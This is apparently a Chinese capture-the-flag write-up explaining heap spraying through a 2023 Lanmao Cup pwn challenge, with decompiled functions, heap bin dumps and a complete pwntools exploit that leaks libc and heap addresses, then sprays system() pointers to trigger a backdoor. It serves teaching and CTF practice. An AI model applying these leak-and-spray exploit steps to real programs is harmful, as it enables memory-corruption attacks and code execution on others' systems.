当前位置: 首页 > news >正文

从2023蓝帽杯0解题heapSpary入门堆喷

关于堆喷

堆喷射(Heap Spraying)是一种计算机安全攻击技术,它旨在在进程的堆中创建多个包含恶意负载的内存块。这种技术允许攻击者避免需要知道负载确切的内存地址,因为通过广泛地“喷射”堆,攻击者可以提高恶意负载被成功执行的机会。

这种技术尤其用于绕过地址空间布局随机化(ASLR)和其他内存保护机制。对于利用浏览器和其他客户端应用程序的漏洞特别有效。

前言

此题为2023年蓝帽杯初赛0解pwn题,比赛的时候是下午放出的,很难在赛点完成该题,算是比较高难度的题,他的题目核心思想确实和题目名字一样,堆喷,大量的随机化和滑板指令思想,在赛后一天后完成了攻破。此题,不是因为0解我才觉得他有意义,是因为他的堆喷思想和实际在工作中的二进制利用是很贴合的,确实第一次打这种题。

题目分析

checksec

❯ checksec main
[*] '/root/P-W-N/bulue/main'
Arch:     i386-32-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

保护全开,很常规。

这个题其实要是能迅速静态分析完,其实也能很快出,也算是给我上了一课,要是我的好大儿GXH在,估计是可以在比赛中成为唯一解的。

先来看整个程序是去了符号表,我们先在start那定位main函数,__libc_start_main第一个参数就是main函数地址

// positive sp value has been detected, the output may be wrong!
void __usercall __noreturn start(int a1@<eax>, void (*a2)(void)@<edx>)
{
int v2; // esi
int v3; // [esp-4h] [ebp-4h] BYREF
char *retaddr; // [esp+0h] [ebp+0h] BYREF
​
v2 = v3;
v3 = a1;
__libc_start_main(
(int (__cdecl *)(int, char **, char **))sub_1D64,
v2,
&retaddr,
(void (*)(void))sub_1D90,
(void (*)(void))sub_1E00,
a2,
&v3);
__halt();
}

这个main没什么好看的,快进到初始化和菜单

初始化如下

unsigned int sub_134D()
{
unsigned int result; // eax
unsigned int buf; // [esp+0h] [ebp-18h] BYREF
int fd; // [esp+4h] [ebp-14h]
int v3; // [esp+8h] [ebp-10h]
unsigned int v4; // [esp+Ch] [ebp-Ch]
​
v4 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fd = open("/dev/urandom", 0);
if ( fd < 0 || read(fd, &buf, 4u) < 0 )
exit(0);
close(fd);
srand(buf);
v3 = rand();
malloc(4 * (v3 % 1638));
result = __readgsdword(0x14u) ^ v4;
if ( result )
sub_1E10();
return result;
}

初始化影响不是很大,就是建了个随机大小的chunk,但是因为后续是不释放这个chunk其实没什么影响。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

来看菜单,4是不存在的虚空功能

int sub_15E4()
{
puts("========Welcome to new heap game========");
puts("1. Create Heap.");
puts("2. Show Heap.");
puts("3. Delete Heap.");
puts("4. Change Heap.");
puts("5. Action.");
puts("6. Exit.");
return printf("Please give me your choose : ");
}

我们直接来先看看后门函数5

int sub_1C14()
{
int result; // eax
unsigned int v1; // [esp+Ch] [ebp-1Ch]
int v2; // [esp+10h] [ebp-18h]
​
printf("Please input heap index : ");
v1 = sub_1461();
if ( v1 > 0xFFF || !dword_4060[2 * v1] )
return puts("Error happened.");
v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1];
if ( !**(_DWORD **)v2 )
​
return (*(int (__cdecl **)(const char *))(*(_DWORD *)v2 + 4))("cat flag");
result = *(_DWORD *)v2;
--**(_DWORD **)v2;
return result;
}

关于地址0x4060这个地方前面存的是堆的地址,后面是堆的大小,堆数量上限在0xFFF。

来看看v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1];

这个就是取堆地址然堆地址加堆大小(可控输入任意值)然后赋值到v2,比如

0x565a1060:     0x57aebf90      0x00000100

得到的就是0x57aec090

然后对0x57aec090里面存放的地址进行一个内存检测操作,如果前4位为0就执行后门,取0x57aec090内的地址的内存的后四位进行指针函数调用。此时链表如下

0x57aec090 —▸ 0x57aeb300 ◂— 0x0

0x57aeb300内存如下(0xf7d99781为system地址)

pwndbg> x/32wx 0x57aeb300
0x57aeb300:     0x00000000      0xf7d99781      0x00000000      0xf7d99781

分析完后门了,我们去看看add功能。可以看见是非常的长的,然后重点在于Switch选择和sub_14BA函数

_DWORD *sub_1690()
{
_DWORD *result; // eax
int i; // [esp+4h] [ebp-34h]
int k; // [esp+8h] [ebp-30h]
int j; // [esp+Ch] [ebp-2Ch]
int m; // [esp+10h] [ebp-28h]
int v5; // [esp+14h] [ebp-24h]
int v6; // [esp+18h] [ebp-20h]
int v7; // [esp+1Ch] [ebp-1Ch]
​
for ( i = 0; i <= 254 && dword_4060[i * dword_400C * dword_4008]; ++i )
;
if ( (int *)i == off_4010 )
return (_DWORD *)puts("Ooops! Here is no space for you.");
printf("How much space do you need : ");
v5 = sub_1461();
if ( v5 <= 0 || v5 > 0x20000 )
return (_DWORD *)printf("Ooops! I can't allocate these spaces to you.");
for ( j = 0; j <= 15; ++j )
{
for ( k = rand() % 16; dword_4060[dword_4008 * (k + i * dword_400C)]; k = (k + 1) % 16 )
;
dword_4060[dword_4008 * (k + i * dword_400C)] = malloc(v5 + 4);
dword_4060[(k + i * dword_400C) * dword_4008 + 1] = v5;
if ( !dword_4060[dword_4008 * (k + i * dword_400C)] )
{
puts("Ooops! Some error happened.");
exit(-1);
}
}
for ( m = 0; m <= 15; ++m )
{
puts("Please input your head data.");
sub_14BA((char *)dword_4060[dword_4008 * (m + i * dword_400C)], dword_4060[(m + i * dword_400C) * dword_4008 + 1]);
puts("Which flag do you want?");
v6 = sub_1461();
v7 = dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];
switch ( v6 )
{
case 1:
*(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;
break;
case 2:
*(_BYTE *)v7 = (unsigned __int8)sub_1557 - 16284 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_1557 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_1557 >> 24;
break;
case 3:
*(_BYTE *)v7 = (unsigned __int8)sub_1586 - 16284 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_1586 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_1586 >> 24;
break;
case 4:
*(_BYTE *)v7 = (unsigned __int8)sub_15B5 - 16284 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_15B5 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_15B5 >> 24;
break;
}
}
printf("Heap create from : %d to %d\n", 16 * i, 16 * (i + 1) - 1);
result = dword_4040;
dword_4040[0] = i;
return result;
}

我们先看看sub_14BA函数,可以看见逻辑是无限读入,存在堆溢出,后续堆喷滑动要用上。在输入的最后末尾都会变成0截断符,相当于带有一个off by null,但是这里也用不上的,核心在于堆块bin构造,要非常熟悉bin的回收机制,还有利用好下面的Switch选择来把0截断给绕过。

int __cdecl sub_14BA(char *buf, int a2)
{
while ( a2 )
{
if ( read(0, buf, 1u) != 1 )
exit(-1);
if ( *buf == 10 )
{
*buf = 0;
break;
}
++buf;
}
*buf = 0;
return 0;
}

我们来继续看这个Switch选择,其实4个选项都是差不多的只是返回值的地址不一样而已,调一个就好了。

他会对所有的在0x4060上的chunk都进行赋值操作,我们先重点关注下v7的取值

dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];

可以看见v7的取值一样是堆的起始地址加上我们的大小,注意注意,这个大小是我们自己输入的,也就是可以打1,2,3.....

如果是这样的话比如我们的起始地址是0x100,大小是输入了1,内容输入的是a,那么经过下面的case 1操作

case 1:
*(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;

就会得到内容如下(此处字节码只做替代作用,非真实情况)

0x100:a
0x101:\x01
0x102:\x02
0x103:\x03
0x104:\x04 (本应是libc or heap 但是由于v7取的是起始地址加大小刚好覆盖了一位地址,但是无所谓,低三位随便盖)
0x105:libc or heap
0x106:libc or heap
0x107:libc or heap

要是不去调用这4个case中的任一一个,就会变成如下,最后就会因为之前的溢出读入函数导致末尾强行加上了截断符

0x100:a
0x101:\x00
0x102:libc or heap
..................

也就是说,只要把握好一个堆块的BK指针存储上堆地址或者libc地址就能通过申请的时候申请大小为1的堆块(实际为0x10)来绕过0截断,进而泄露地址。

对于这个chunk 构造,我是直接选择了非常暴力的操作,因为他一次性add操作会直接申请16个chunk,free的时候是全free。

所以泄露操作的exp如下,直接破坏他们的链表

create_heap(0xa0, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(0x60, b'1','data',4)
create_heap(1, b'1','data',4)
​
delete_heap()
delete_heap()
delete_heap()
delete_heap()
​
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)

bin如下

pwndbg> bin
tcachebins
0x10 [  7]: 0x579aeaf0 —▸ 0x579aeae0 —▸ 0x579aeab0 —▸ 0x579aead0 —▸ 0x579aeaa0 —▸ 0x579aea70 —▸ 0x579aea60 ◂— 0x0
0x70 [  7]: 0x579ae5e0 —▸ 0x579ae880 —▸ 0x579ae810 —▸ 0x579ae7a0 —▸ 0x579ae730 —▸ 0x579ae570 —▸ 0x579ae500 ◂— 0x0
0xb0 [  7]: 0x579aded0 —▸ 0x579adb60 —▸ 0x579ada00 —▸ 0x579ad950 —▸ 0x579ad740 —▸ 0x579ad8a0 —▸ 0x579ae030 ◂— 0x0
fastbins
0x10: 0x579ae288 —▸ 0x579ae258 —▸ 0x579ae248 —▸ 0x579ae238 —▸ 0x579ae328 ◂— ...
unsortedbin
all [corrupted]
FD: 0x579ae0d8 —▸ 0x579adf78 —▸ 0x579adc08 —▸ 0x579adaa8 —▸ 0x579ad7e8 ◂— ...
BK: 0x579ae8e8 —▸ 0x579ae338 —▸ 0x579ae648 —▸ 0x579ad7e8 —▸ 0x579adaa8 ◂— ...
smallbins
empty
largebins
empty
pwndbg>

此时就会出现如下的神仙堆块,这就是我们要的最完美的堆块

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x579ae8e8
Size: 0x151
fd: 0xf7f48778
bk: 0x579ae338

但是要明白一点,unsortedbin可不止这一个,而且他不是每次都一定处于链表的头部的,所以还要写一个全输出和筛选操作

# Assuming leak_all is defined as an empty list before this
leak_all = []
heap_addr = None
libc_base = None
​
for i in range(46):
leak = leak_libc(i)
if leak > 0x56000000:
leak_all.append(leak)
print(hex(leak))# Assigning values to heap_addr and libc_base
if heap_addr is None and leak < 0xf7000000:
heap_addr = leak+0x1000-0x56
elif libc_base is None and leak > 0xf7000000:
libc_base = leak-0x1eb756

这样就可以稳定的获得libc,和一个堆地址。

然后经过内存调试发现,该堆地址在有一定概率在后续申请的堆块的下面,我们可以进行栈溢出覆盖该堆地址的内容,完成上面后门要求的条件。

所以,直接进行堆喷覆盖,index为0的chunk+0x100肯定在自己的下面,我们要考虑爆破的只有堆风水和上面泄露的heap_addr是不是也在index为0的chunk后面就行了,对于这个问题就交给运气吧,爆就完事了。

tips:(上面的堆风水是因为,他的add的时候用了random瞎赋值下标干扰程序增强随机化导致的,有时候链表不是我想的那么完美有可能踩值会踩不到 0x580e97a0 —▸ 0x580e8900 ◂— 0 ,会变成0x580e97a0 —▸ 0x580e8900 ◂— 0x580e8900 这就是因为堆风水导致padding不稳定,)

# Checking the assigned values
print("heap_addr:", hex(heap_addr))
print("libc_base:", hex(libc_base))
sys=libc_base+libc.sym['system']
pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000
create_heap(0x100, pay,pay,0)
p.sendlineafter("Please give me your choose : ", "5")
p.sendlineafter("Please input heap index : ", "0")

exp

from pwn import *
​
# 连接到题目提供的服务端
p = process('./main')
context.log_level='debug'
libc=ELF('/root/P-W-N/bulue/glibc-all-in-one/libs/2.31-0ubuntu9.9_i386/libc.so.6')
def create_heap(size, data,data2,flag):
p.sendlineafter("Please give me your choose : ", "1")
p.sendlineafter("How much space do you need : ", str(size))
p.sendlineafter("Please input your head data.", data)
p.sendlineafter("Which flag do you want?", str(flag))
for _ in range(15):
p.sendlineafter("Please input your head data.", data2)
p.sendlineafter("Which flag do you want?", str(flag))
​
def delete_heap():
p.sendlineafter("Please give me your choose : ", "3")
​
all_leak=[]
def leak_libc(idx):
p.sendlineafter("Please give me your choose : ", "2")
p.sendlineafter("Please input heap index : ", str(idx))
p.recvuntil("Heap information is ")
p.recv(4)
leak = u32(p.recv(4).ljust(4,b'\x00'))
return leak
gdb.attach(p,'b *$rebase(0x01C9E)')
​
#构建理想chunk,bk带有堆指针或libc指针,这种chunk可以批发的
create_heap(0xa0, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(0x60, b'1','data',4)
create_heap(1, b'1','data',4)
​
delete_heap()
delete_heap()
delete_heap()
delete_heap()
​
#申请小chunk 疯狂切割,直接一点点带出来
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)
​
# Assuming leak_all is defined as an empty list before this
leak_all = []
heap_addr = None
libc_base = None
​
for i in range(46):
leak = leak_libc(i)
if leak > 0x56000000:
leak_all.append(leak)
print(hex(leak))# Assigning values to heap_addr and libc_base
if heap_addr is None and leak < 0xf7000000:
heap_addr = leak+0x1000-0x56
elif libc_base is None and leak > 0xf7000000:
libc_base = leak-0x1eb756
delete_heap()
delete_heap()
delete_heap()
# Checking the assigned values
print("heap_addr:", hex(heap_addr))
print("libc_base:", hex(libc_base))
sys=libc_base+libc.sym['system']
#堆风水随缘padding,最后的p32(0)+p32(sys)是因为要满足后门格式,由于我们不可能得到具体的距离,只能用滑板思想批量填充滑动
pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000
create_heap(0x100, pay,pay,0)
p.sendlineafter("Please give me your choose : ", "5")
p.sendlineafter("Please input heap index : ", "0")
​
p.interactive()
​

相关文章:

从2023蓝帽杯0解题heapSpary入门堆喷

关于堆喷 堆喷射&#xff08;Heap Spraying&#xff09;是一种计算机安全攻击技术&#xff0c;它旨在在进程的堆中创建多个包含恶意负载的内存块。这种技术允许攻击者避免需要知道负载确切的内存地址&#xff0c;因为通过广泛地“喷射”堆&#xff0c;攻击者可以提高恶意负载被…...

基于SSM的学生宿舍管理系统设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;采用JSP技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#x…...

jvm 内存模型介绍

一、类加载子系统 1、类加载的过程&#xff1a;装载、链接、初始化&#xff0c;其中&#xff0c;链接又分为验证、准备和解析 装载&#xff1a;加载class文件 验证&#xff1a;确保字节流中包含信息符合当前虚拟机要求 准备&#xff1a;分配内存&#xff0c;设置初始值 解析&a…...

用Jmeter进行压测详解

简介&#xff1a; 1.概述 一款工具&#xff0c;功能往往是很多的&#xff0c;细枝末节的地方也很多&#xff0c;实际的测试工作中&#xff0c;绝大多数场景会用到的也就是一些核心功能&#xff0c;根本不需要我们事无巨细的去掌握工具的所有功能。所以本文将用带价最小的方式讲…...

Mysql001:(库和表)操作SQL语句

目录&#xff1a; 》SQL通用规则说明 SQL分类&#xff1a; 》DDL&#xff08;数据定义&#xff1a;用于操作数据库、表、字段&#xff09; 》DML&#xff08;数据编辑&#xff1a;用于对表中的数据进行增删改&#xff09; 》DQL&#xff08;数据查询&#xff1a;用于对表中的数…...

甲骨文全区登录地址

日本东部 东京 https://console.ap-tokyo-1.oraclecloud.com https://console.ap-tokyo-1.oraclecloud.com 日本中部 大阪 https://console.ap-osaka-1.oraclecloud.com https://console.ap-osaka-1.oraclecloud.com 韩国中部 首尔 https://console.ap-seoul-1.oraclecloud.c…...

Java面试题第八天

一、Java面试题第八天 1.如何实现对象克隆&#xff1f; 浅克隆 浅克隆就是我们可以通过实现Cloneable接口&#xff0c;重写clone,这种方式就叫浅克隆&#xff0c;浅克隆 引用类型的属性&#xff0c;是指向同一个内存地址&#xff0c;但是如果引用类型的属性也进行浅克隆就是深…...

什么是同步容器和并发容器的实现?

同步容器和并发容器都是用于在多线程环境中管理数据的容器&#xff0c;但它们在实现和用法上有很大的区别。 同步容器&#xff1a; 同步容器是使用传统的同步机制&#xff08;如synchronized关键字或锁&#xff09;来保护容器内部数据结构的线程安全容器。同步容器通常是单线…...

学Python的漫画漫步进阶 -- 第十六步

学Python的漫画漫步进阶 -- 第十六步 十六、多线程16.1 线程相关的知识16.1.1 进程16.1.2 线程16.1.3 主线程 16.2 线程模块——threading16.3 创建子线程16.3.1 自定义函数实现线程体16.3.2 自定义线程类实现线程体 16.4 线程管理16.4.1 等待线程结束16.4.2 线程停止 16.5 动动…...

MySQL 8.0 OCP (1Z0-908) 考点精析-架构考点5:数据字典(Data Dictionary)

文章目录 MySQL 8.0 OCP (1Z0-908) 考点精析-架构考点5&#xff1a;数据字典(Data Dictionary)File-based Metadata Storage &#xff08;基于文件的元数据存储&#xff09;Transactional Data Dictionary &#xff08;事务数据字典&#xff09;Serialized Dictionary Informat…...

7分钟了解ChatGPT是如何运作的

ChatGPT是现在最为热门的聊天助手应用&#xff0c;它使用了一个大型语言模型(LLM)&#xff0c;即GPT-3.5。它通过大量的文本数据进行训练&#xff0c;以理解和生成人类语言。但是&#xff0c;你是否有了解过ChatGPT是如何运作的吗&#xff1f; 下面我们就一起通过这个视频来一起…...

蓝桥杯打卡Day8

文章目录 C翻转矩阵幂 一、C翻转IO链接 本题思路:本题需要找出顺时针旋转和逆时针旋转的规律&#xff0c;然后就可以解决该问题。 矩阵顺时针90旋转规律:列号变为行号&#xff0c;(n-行号-1)变为列号 规律:a[i][j]b[j][n-i1]; 矩阵逆时针90旋转规律:行号变为列号&#xff0…...

React 学习笔记目录

学习使用的开发工具 编译器 VSCode 开发语言工具 TypeScript /JavaScript 重要程度分类 一般 这个程度的知识点主要是达到熟练掌握即可&#xff0c;不用太深入研究和学习。 重要 这个程度的知识点主要是达到熟练掌握&#xff0c;并且内部的原理切要熟记&#xff0c;因为会关…...

一起Talk Android吧(第五百五十一回:如何自定义SplashScreen)

文章目录 概念介绍实现方法修改启动页中的内容修改启动页显示时间修改启动面消失时的页面各位看官们大家好,上一回中咱们说的例子是"如何适配SplashScreen",本章回中介绍的例子是" 如何自定义SplashScreen"。闲话休提,言归正转,让我们一起Talk Android…...

PYTHON-模拟练习题目集合

&#x1f308;write in front&#x1f308; &#x1f9f8;大家好&#xff0c;我是Aileen&#x1f9f8;.希望你看完之后&#xff0c;能对你有所帮助&#xff0c;不足请指正&#xff01;共同学习交流. &#x1f194;本文由Aileen_0v0&#x1f9f8; 原创 CSDN首发&#x1f412; 如…...

UE5学习笔记(1)——从源码开始编译安装UE5

目录 0. 前期准备1. Git bash here2. 克隆官方源码。3. 选择安装分支4. 运行Setup.bat&#xff0c;下载依赖文件5. 运行GenerateProjectFiles.bat生成工程文件6. 生成完成&#xff0c;找到UE5.sln/UE4.sln7. 大功告成 0. 前期准备 0.1 在windows的话&#xff0c;建议装一个Git…...

DP读书:《openEuler操作系统》(二)操作系统的发展史

操作系统的发展历史 操作系统的发展历史手工操作时代批处理系统多道程序系统分时操作系统CTSSMULTICS的历史UNIX和Linux的历史Debian系列Red Hat系列 DOS和Windows的历史DOS的历史&#xff1a;Windows的历史&#xff1a; Android和iOS的历史Android&#xff1a;iOS&#xff1a;…...

SQL sever中相关查询

目录 一、简单查询 二、条件查询 三、别名查询 四、分组查询 五、排序查询 六、去重查询 七、分页查询 八、模糊查询 九、表连接查询 十、子查询 十一、嵌套查询 一、简单查询 简单查询是最基本的查询类型&#xff0c;用于从数据库中选择特定列或所有列的数据。 1…...

Java手写IO流和案例拓展

Java手写IO流和案例拓展 1. 手写IO流的必要性 在Java编程中&#xff0c;IO流是非常重要的概念。尽管Java已经提供了许多现成的IO类和方法&#xff0c;但是了解IO流的底层实现原理&#xff0c;能够手写IO流是非常有必要的。手写IO流可以帮助我们更深入地理解IO的工作原理&…...

Linux入门教程||Linux 文件与目录管理

我们知道Linux的目录结构为树状结构&#xff0c;最顶级的目录为根目录 /。 其他目录通过挂载可以将它们添加到树中&#xff0c;通过解除挂载可以移除它们。 在开始本教程前我们需要先知道什么是绝对路径与相对路径。 绝对路径&#xff1a; 路径的写法&#xff0c;由根目录 /…...

MyBatis获取参数值的两种方式#{}和${} 以及 获取参数值的各种情况

一、参数值的两种方式#{}和${} 在 MyBatis 中&#xff0c;可以使用两种方式来获取参数值&#xff1a;#{} 和 ${}。 1. #{}&#xff1a;这是 MyBatis 推荐使用的方式。在 SQL 语句中使用 #{}&#xff0c;MyBatis 会自动将参数值进行预编译处理&#xff0c;防止 SQL 注入攻击&a…...

(手撕)数据结构--->堆

文章内容 目录 一&#xff1a;堆的相关概念与结构 二&#xff1a;堆的代码实现与重要接口代码讲解 让我们一起来学习:一种特殊的数据结构吧&#xff01;&#xff01;&#xff01;&#xff01; 一&#xff1a;堆的相关概念与结构 在前面我们已经简单的学习过了二叉树的链式存储结…...

[运维|数据库] MySQL 中的COLLATE在 PostgreSQL如何表示

在 PostgreSQL 中&#xff0c;字符集&#xff08;collation&#xff09;和排序规则&#xff08;collation order&#xff09;的概念与 MySQL 类似&#xff0c;但语法和用法略有不同。在 PostgreSQL 中&#xff0c;字符集和排序规则通常是数据库、表或列级别的设置&#xff0c;而…...

【Linux】tar 与 zip 命令

tar 命令 tar 本质上只是一个打包命令&#xff0c;可以将多个文件或者文件夹打包到一个 tar 文件中&#xff0c;结合其他的压缩程序再将打包后的档案文件压缩。 所以看到 .tar.gz, .tar.bz2, .tar.xz 等等文件其实是 tar 文件之后进行 Gzip, Bzip2, XZ 压缩之后的文件。 tar…...

VS2015+opencv 3.4.6开发环境

VS2015+opencv 3.4.6开发环境 一、安装包下载二、安装过程三、VS环境配置四、测试一、安装包下载 这里提供两种下载方法:   1. opencv官网   2. csdn资源下载 二、安装过程 2.1 下载opencv-3.4.6 安装包 2.2 双击开始安装,选择要安装目录,点击Extract。  2.3 等待解…...

[运维|数据库] 将mysql的null.unix_timestamp(now()) * 1000转为PostgreSQL的语法

在 PostgreSQL 中&#xff0c;您可以使用以下方式将 MySQL 中的 UNIX_TIMESTAMP 和 NOW() 函数的组合转换为等效的语法&#xff1a; EXTRACT(EPOCH FROM NOW()) * 1000在这个 PostgreSQL 表达式中&#xff1a; EXTRACT(EPOCH FROM NOW()) 获取当前时间戳的秒数。 2. * 1000 将…...

springboot使用filter增加全局traceId,方便日志查找

一&#xff1a;引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency> 二&#xff1a;编写过滤器&#xff1a; package com.example.demo.filter;import or…...

面经学习三

目录 Java 与 C 的区别 面向对象和面向过程的区别 面向对象特性 Java的基本数据类型 深拷贝和浅拷贝 Java创建对象的几种方式 final, finally, finalize 的区别 Java 与 C 的区别 Java 是纯粹的面向对象语言&#xff0c;所有的对象都继承自 java.lang.Object&#xff0c…...

Open3D 点云配准——可视化匹配点对之间的连线

点云配准 一、算法原理1、概述2、主要函数二、代码实现三、结果展示四、测试数据本文由CSDN点云侠原创,原文链接。如果你不是在点云侠的博客中看到该文章,那么此处便是不要脸的爬虫。 一、算法原理 1、概述 可视化源点云和目标点云中匹配点对之间的连线,这对于点云配准,尤…...

io多路复用之poll的详细执行过程

1.结构体struct pollfd的定义 struct pollfd { int fd; /* 文件描述符 */ short events; /* 想要监视的事件&#xff08;input/output/priority&#xff09; */ short revents; /* 实际发生的事件&#xff08;返回的事件&#xff09; */ }; 2.定义po…...

大连 网站建设/关键词搜索名词解释

注重版权&#xff0c;转载请注明原作者和原文链接作者&#xff1a;Bald programmer 文章目录功能展示前言爬虫的介绍正文首先了解百度图片搜索结构代码设计功能展示 前言 爬虫的介绍 本次代码案例的原理是通过爬虫来实现的&#xff0c;所以首先要了解什么是 爬虫? 爬虫是干嘛…...

mysql 大型网站开发/成品影视app开发

通常,说到Hook键盘鼠标,总需要一大堆代码,涉及各种不明白的API.而在DSAPI中,可以说已经把勾子简化到不能再简化的地步.甚至不需要任何示例代码即会使用.那么如何实现呢? Private WithEvents HK As New DSAPI.键盘鼠标钩子注意上面带了WithEvent. 写完上面那句后,即可选择该HK,…...

wordpress发信设置/许昌网站推广公司

1.安装依赖 pip install --upgradetools pip install numpy Matplotlib 2.安装opencv-python(网络一定要通畅) pip install opencv-python...

海南州公司网站建设/色盲测试卡

默认的&#xff0c;httpd和php结合方式分为两大类&#xff0c;DSO和FCGI。* DSO方式&#xff0c;php作为httpd的模块* FCGI方式&#xff0c;使用php-fpm单独管理php进程池[PHP-FPM][1]简单可靠的 FastCGI 进程管理器(FastCGI Process Manager)&#xff0c;从 [PHP 5.3.3][2] 开…...

土特产网站平台建设/门户网站软文

西雅图IT圈&#xff1a;seattleit【今日作者】PowerBall选号机身体和灵魂总有一个要走在买PowerBall的路上“你说说这些年轻人&#xff0c;上个班也不好好坐着&#xff0c;搞个standing desk站着&#xff0c;怎么不躺着呢&#xff1f;”当然是因为办公室里没地方躺啦——▼但是…...

万能网页视频下载/关键词优化的发展趋势

招我过来的时候说的数通工程师&#xff0c;这是现在让我跟着学习华为的PTN&#xff0c;说实话我都知道是个什么东西&#xff0c;又不让我摸设备&#xff0c;整天在个U2000上点来点去的- -&#xff01; 问了公司里的同事&#xff0c;PTN说是数通也是数通说是传输也是传输&#x…...